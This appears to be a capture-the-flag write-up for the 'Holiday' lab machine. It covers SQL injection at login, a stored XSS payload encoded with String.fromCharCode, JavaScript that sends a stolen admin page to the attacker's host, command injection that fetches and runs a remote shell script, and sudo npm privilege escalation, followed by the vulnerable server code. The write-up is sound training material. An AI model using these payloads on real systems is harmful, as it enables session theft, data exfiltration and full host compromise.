Holiday

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.29.106               
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 09:07 EDT
Nmap scan report for 10.129.29.106
Host is up (0.0072s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

Detailed scan:

$ nmap -p 8000 -sC -sV --min-rate 3000 10.129.29.106   
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-17 09:07 EDT
Nmap scan report for 10.129.29.106
Host is up (0.0077s latency).

PORT     STATE SERVICE VERSION
8000/tcp open  http    Node.js Express framework
|_http-title: Error

Added holiday.htb to the /etc/hosts file as per normal practice.

Web Enum -> Login SQLI

The website just shows a hexagon:

Oddly, both feroxbuster and gobuster returned nothing useful. Only dirb returned anything useful.

$ dirb http://10.129.29.106:8000/ /usr/share/seclists/Discovery/Web-Content/common.txt   

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Mar 17 11:37:05 2024
URL_BASE: http://10.129.29.106:8000/
WORDLIST_FILES: /usr/share/seclists/Discovery/Web-Content/common.txt

-----------------

GENERATED WORDS: 4722                                                          

---- Scanning URL: http://10.129.29.106:8000/ ----
+ http://10.129.29.106:8000/ADMIN (CODE:302|SIZE:28)                                       
+ http://10.129.29.106:8000/Admin (CODE:302|SIZE:28)                                       
+ http://10.129.29.106:8000/Login (CODE:200|SIZE:1171)                                     
+ http://10.129.29.106:8000/admin (CODE:302|SIZE:28)                                       
+ http://10.129.29.106:8000/agent (CODE:302|SIZE:28)                                       
+ http://10.129.29.106:8000/css (CODE:301|SIZE:165)                                        
+ http://10.129.29.106:8000/img (CODE:301|SIZE:165)                                        
+ http://10.129.29.106:8000/js (CODE:301|SIZE:163)                                         
+ http://10.129.29.106:8000/login (CODE:200|SIZE:1171)                                     
+ http://10.129.29.106:8000/logout (CODE:302|SIZE:28)

Visiting /admin redirects me to the /login page:

Attempting to login with weak credentials results in this error:

When testing for basic SQLI, I noticed that using double quotes results in an error:

Interesting. I tested the username field a bit more, I found out that using "OR "1" ="1 results in a different error:

Now RickA is the user. The same payload doesn't work with the password field. This probably means that only the username is vulnerable to SQL Injection.

SQLI -> Login Creds

Using the fact that there are different errors on the page for valid and invalid queries, I attempt to exfiltrate the password.

UNION injection can be used. First, I have to figure out the syntax to 'end' the first query and return no error, since using " alone was causing an error.

I tried some of het entry point detection payloads from Hacktricks, and found that ")) triggered no error.

From here, I can start the UNION injections. I tested the number of columns manually, and found that there were 4:

From here, I need to find out what database was this thing running, and which column actually returned strings.

Using @@version for all columns resulted in an error, so its not MySQL or MSSQL. Using version() failed too, so its not PostgreSQL. Using sqlite_version() in column 2 returned 'Incorrect Password', thus the database is SQLite.

The most interesting part was the fact that the result was auto-filled into the username portion:

Using this, I can easily find out the table names within this database.

"))UNION SELECT 1,group_concat(tbl_name),3,4 FROM sqlite_master --

This produced users,sqlite_sequence,notes,bookings,sessions,sessions. Now, I can enumerate the columns in users.

"))UNION SELECT 1,group_concat(sql),3,4 FROM sqlite_master WHERE type!="meta" AND sql NOT NULL AND name="users"--

This produces CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,active TINYINT(1)) as the output, meaning there's a password column. Extracting the password can be done using "))UNION SELECT 1,group_concat(password),3,4 FROM users--.

This produces the hash:

This hash can be cracked using Crackstation:

And with that, I can login to the interface:

XSS -> Administrator

In each of the booking details, there was an 'Add Note' function:

This was being viewed by an admin, which means XSS! I tried this payload:

<script src="http://10.10.14.18/cookie.js"/>

The JS file only had this line:

fetch('http://10.10.14.18?cookie=' + document.cookie);

However, I never received a callback, and that's when I realised it was not reflected XSS, but rather stored:

The payload is reflected directly on screen. I copied and pasted a TON of payloads, then took a look at how the filtering worked.

I noticed that it kept <img> tags in tact:

It spaced out the javascript, but it also kept ` characters in tact.

I also noticed this part here:

If the javascript link was within a ` character, it was left alone. The original payload was:

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

So it removed spaces, and the entire XSS portion there, thus my final payload cannot contain spaces. The filter also removed all ' characters.

This payload made it past the string filter but I don't think it works since it doesn't use script tags or anything:

 <img src=`javascript:alert(1)`>

I eventually gave up finding this payload, and I checked the solution. The actual payload was:

<img src="/><script>javascript:alert(1)</script>"/>

The final payload did not allow me to have spaces in it, so the actual code executed has to use the eval(String.fromCharCode) method.

For this, I can use document.write to insert HTML into the DOM since I'm using eval.

>>> payload = '''document.write('<script src="http://10.10.14.18/evil.js"></script>');'''
>>> ','.join([str(ord(c)) for c in payload])
'100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,49,56,47,101,118,105,108,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59'

The final payload would thus be:

<img src="x/><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,49,56,47,101,118,105,108,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))</script>" />

This finally works and I got callback:

From here, I just need to figure out how to get the cookie out. The cookie is set to HttpOnly, meaning doucment.cookie and what not will fail. I attempted to steal the page contents using this:

var url = "http://holiday.htb:8000/vac/28b9356a-fdb3-4ad9-84ac-62b255ef69dd";
var attacker = "http://10.10.14.18:8000/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if (xhr.readyState == XMLHttpRequest.DONE) {
    var exfilxhr = new XMLHttpRequest();
    exfilxhr.open('POST', attacker, false);
    exfilxhr.send(xhr.responseText);
  }
};
xhr.open('GET', url, true);
xhr.send(null);

The above payload doesn't work, but I can tweak it a bit to steal page contents:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65', false);
xhr.send();
var exfil = new XMLHttpRequest();
exfil.open('POST', 'http://10.10.14.18:8000/exfil', true);
exfil.setRequestHeader('Content-Type', 'text/plain');
exfil.send(encodeURIComponent(xhr.responseText));

This works in sending me the page contents:

Within the page content is the cookie I need:

When this cookie used, I get a new 'Admin' panel:

Admin Panel RCE

Earlier, I found a /admin panel, and now I can view it:

Viewing the page source reveals it sends requests to these endpoints:

Visiting the /admin/export directory results in an error:

Attempting to tamper with the table parameter results in this error:

It seems to allow & characters, and using that results in RCE:

The only issue is that no . characters are allowed, meaning I have specify my IP address in decimal instead of the octal notation.

10.10.14.18=168431122. Here are the commands I executed to get a shell:

wget 168431122/rev
bash rev

Privilege Escalation

Sudo Npm -> Root

This user had sudo privileges:

algernon@holiday:~$ sudo -l
Matching Defaults entries for algernon on holiday:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *

This can be exploited using the script on GTFOBins:

echo '{"scripts": {"preinstall": "/bin/sh"}}' > package.json
sudo /usr/bin/npm i --unsafe-perm

Rooted! Super hard start.

Code Vulnerabilities

I took a look at the vulnerabilities for both the SQL Injection, XSS and RCE within the /home/algernon/app/setup directory.

XSS

Here's the XSS code:

var driver = require('node-phantom-simple');                                                 
var async = require('async');                                                                        
module.exports = function(scope, callback) {                          
  var isRunning = false;                                                  
  setInterval(function() {                                            
    if (isRunning) return;                                                     
    isRunning = true;                                        
    driver.create({ path: require('phantomjs').path }, function (err, browser) {
      return browser.createPage(function (err, page) {
        return page.open("http://localhost:8000/login", function (err,status) {
          return page.evaluate(function() {
            document.getElementById('username').value = 'admin';
            document.getElementById('password').value = 'myvoiceismypassport';
            document.forms[0].submit();
          }, function(err, result) {
            setTimeout(function() {
              return page.evaluate(function() {
                var links = [].slice.call(document.getElementsByTagName('a')).map(function(item) { return item.getAttribute('href') });
                links = links.filter(function(item, index) { return links.indexOf(item) == index && item.indexOf('/admin/export') == -1 });
                return links;
              }, function (err, links) {
                async.eachSeries(links, function(link, callback) {
                  page.open('http://localhost:8000' + link, function(err, status) {
                    setTimeout(function() {
                      scope.db.get('SELECT id FROM bookings WHERE uuid = ?', [link.split('/')[2]], function(err, booking) {
                        scope.db.run('UPDATE notes SET approved = ? WHERE booking_id = ?', [true, booking.id], callback);
                      });
                    }, 1000);
                  });
                }, function() {
                  setTimeout(function() {
                    isRunning = false;
                    browser.exit();
                  }, 2000);
                });
              });
            }, 1000)
          });
        });
      });
    });
  }, 60000);

  return callback();
};

Logs in each time, and then calls evaluate to load the elements, thus allowing me to execute Javascript on this.

The XSS whitelist was within router.js:

var xssFilter = new xss.FilterXSS({
  whiteList: {
    img: ['src']
  },
  onTagAttr: function (tag, name, value, isWhiteAttr) {
    if (name === 'src' && isWhiteAttr) return name + '=' + value.replace(/["' ]/g, '') + '';
    return null;
  }
});

Seems that it only allows <img src>, and it replaces certain characters with empty strings except for ` characters.

SQL Injection

scope.router.post('/login', function(req, res) {
    if (req.body.username == 'admin' && req.body.password == 'myvoiceismypassport') {
      req.session.username = 'admin';
      req.session.admin = true;
      res.redirect('/admin');
    } else {
      var query = 'SELECT id, username, password, active FROM users WHERE (active=1 AND (username = "' + req.body.username +'"))';
      var queryStart = +new Date();

      scope.db.get(query, function(err, row) {
        var queryEnd = +new Date();
        var queryTime = queryEnd - queryStart;
        if (err) return res.render('login.hbs', { internalError: err, publicError: 'Error Occurred', query: query, queryTime: queryTime });
        if (!row) return res.render('login.hbs', { publicError: 'Invalid User', query: query, queryTime: queryTime });
        if (row.password == crypto.createHash('md5').update(req.body.password).digest('hex')) {
          req.session.username = row.username;
          res.redirect('/agent');
        } else {
          res.render('login.hbs', { username: row.username, publicError: 'Incorrect Password', query: query, queryTime: queryTime });
        }
      });
    }
  });

Now I can see why ")) was a valid entry point, and why password was not vulnerable.

RCE

scope.router.get('/admin/export', function(req, res) {
    console.log('Admin Export', req.query)
    if (!req.session.admin) return res.redirect('/login');
    var filteredTable = req.query.table.replace(/[^a-z0-9& \/]/g, '')
    if (filteredTable != req.query.table) return res.status(500).send('Invalid table name - only characters in the range of [a-z0-9&\\s\\/] are allowed');

    exec('sqlite3 hex.db SELECT\\ *\\ FROM\\ ' + filteredTable, function(err, stdout, stderr) {
      res.header('Cache-Control', 'private, no-cache, no-store, must-revalidate');
      res.header('Expires', '-1');
      res.header('Pragma', 'no-cache');
      res.attachment('export-' + req.query.table + '-' + (+new Date()));
      res.send(stdout);
    });
  });

The /admin/export directory passed the table parameter to exec, pretty self-explanatory. The regex filter was quite weak as well.

Last updated